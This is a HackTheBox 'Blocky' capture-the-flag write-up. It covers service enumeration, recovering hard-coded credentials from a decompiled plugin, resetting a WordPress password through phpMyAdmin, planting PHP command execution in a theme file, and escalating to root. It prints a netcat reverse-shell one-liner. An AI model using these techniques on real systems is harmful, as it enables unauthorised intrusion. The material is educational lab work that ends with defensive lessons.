HackTheBox - Blocky

Featured image

This Minecraft themed exercise demonstrates the importance of not hard coding credentials when developing software. After discovering credentials left by a sloppy developer in a Minecraft Addon, I was able to use them to compromise the entire system.



First thing’s first.

nmap -sV -sC -oA nmap

The scan reveals a few interesting open ports. I’ll start with port 80 that looks to be running WordPress and is widely known for vulnerabilities.



I fired up wpscan to see if there’s any vulnerabilities in WordPress that I may be able to exploit.

wpscan --url


Although the scan returned 12 results, after assessing all the vulnerabilities most were XSS vulnerabilites or required an authenticated user. Not useful to me at this point, so I moved on.


I continued enumerating the host using gobuster to find any directories that may contain potentially interestin gcontent.

gobuster -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50


gobuster revealed a few directories of interest such as /phpmyadmin - I’ll put that one in my back pocket in case I need it later.

Checking out /plugins shows a few java files - one aptly named BlockyCore.jar. Given the name of the box, could this be a clue?


I did a quick google search for java decompilers and stumbled across javadecompilers.com. I uploaded BlockyCore.jar and browsed through the results until I hit paydirt.


Bingo! root sql username and password sitting in plain text.


Manipulating user credentials

Now armed with some credentials, I went back to the phpmyadmin page that was uncovered by gobuster. Using these credentials logged me in as mysql root user successfully.


I poked at the database for a little while, and came across the users table. There’s a user listed named Notch and a password that appears to be hashed.


To see what kind of hash i’m dealing with, I pasted it into hash-identifier and it confirms a MD5 WordPress hash.


I googled around a little, and found a website that generates WordPress hashes for a clear text string.

I generated a new WordPress hash, and updated the password for the user notch in the database.

htb-blocky-10 htb-blocky-11

Heading over to the WordPress login page, I was able to login with the credentials I had set in the database via phpMyAdmin.


Remote code execution

Knowing that WordPress runs on PHP, I wanted to see if I could get PHP to execute system commands on the box. To do that, I needed to modify a php page so when I loaded the page in my browser it would execute commands. In WordPress, I went to Preferences -> Editor, selected the Theme Header template, and added a little php code. Now whenever I load any page that includes the header.php file (which is basically all of them), I pass through a system command to the cmd query string and have it execute locally. To verify I browsed to the main page and passed through the ls command. Viewing the source confirms code execution.


Creating a reverse shell

To make manipulating future requests a little easier, I sent the request with remote code execution through to Burp Repeater.

Using the Pentest Monkey Reverse Shell Cheat Sheet I grabbed and modified a little snippet of code that will initiate a reverse shell.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1234 >/tmp/f


And URL encode it with CTRL + U


I fired up a netcat listener on my Kali host …

nc -lvnp 1234

… and then browsed to the the index page to execute my php code and start the reverse shell.


A successful shell is returned as the www-data user.

Switching users

I perform some enumeration on the files on the system, and come across the configuration file for phpMyAdmin located in /etc/phpmyadmin/config-db.php

Looking through this config file produces another set of juicy credentials.


I attempt to switch users with the new password and I successfully authenticate as Notch.


Privilege escalation

Now that i’m logged in as a user, I take a look to see what Notch can do.

sudo -l


It looks like Notch can do everything - including sudo! So i escalate to root.

sudo su -


Deconstructing the hack

Compromising this host was largely possible due to hard coded credentials in multiple places. Simply put, it’s a horrible practice. Just don’t do it kids! Mitigating this risk can be difficult, especially when you’re dealing with the practices and habits of human beings.

In nearly all cases, the path to better security starts with training your staff with what is and isn’t acceptable. From there you can work towards implementing peer code review and code auditing practices in hopes that these security mis-steps can be identified and resolved before they make their way into production code.

Escalating privilege was rudimentary due to a local user on the machine being granted way more permissions than necessary.

You should always strive to follow the principal of least privilege whereby accounts, services etc. are only granted minimal set of permissions necessary permissions for the resource function. This ensures that in the unfortunate event that an account or service is compromised, the blast radius is dramatically reduced.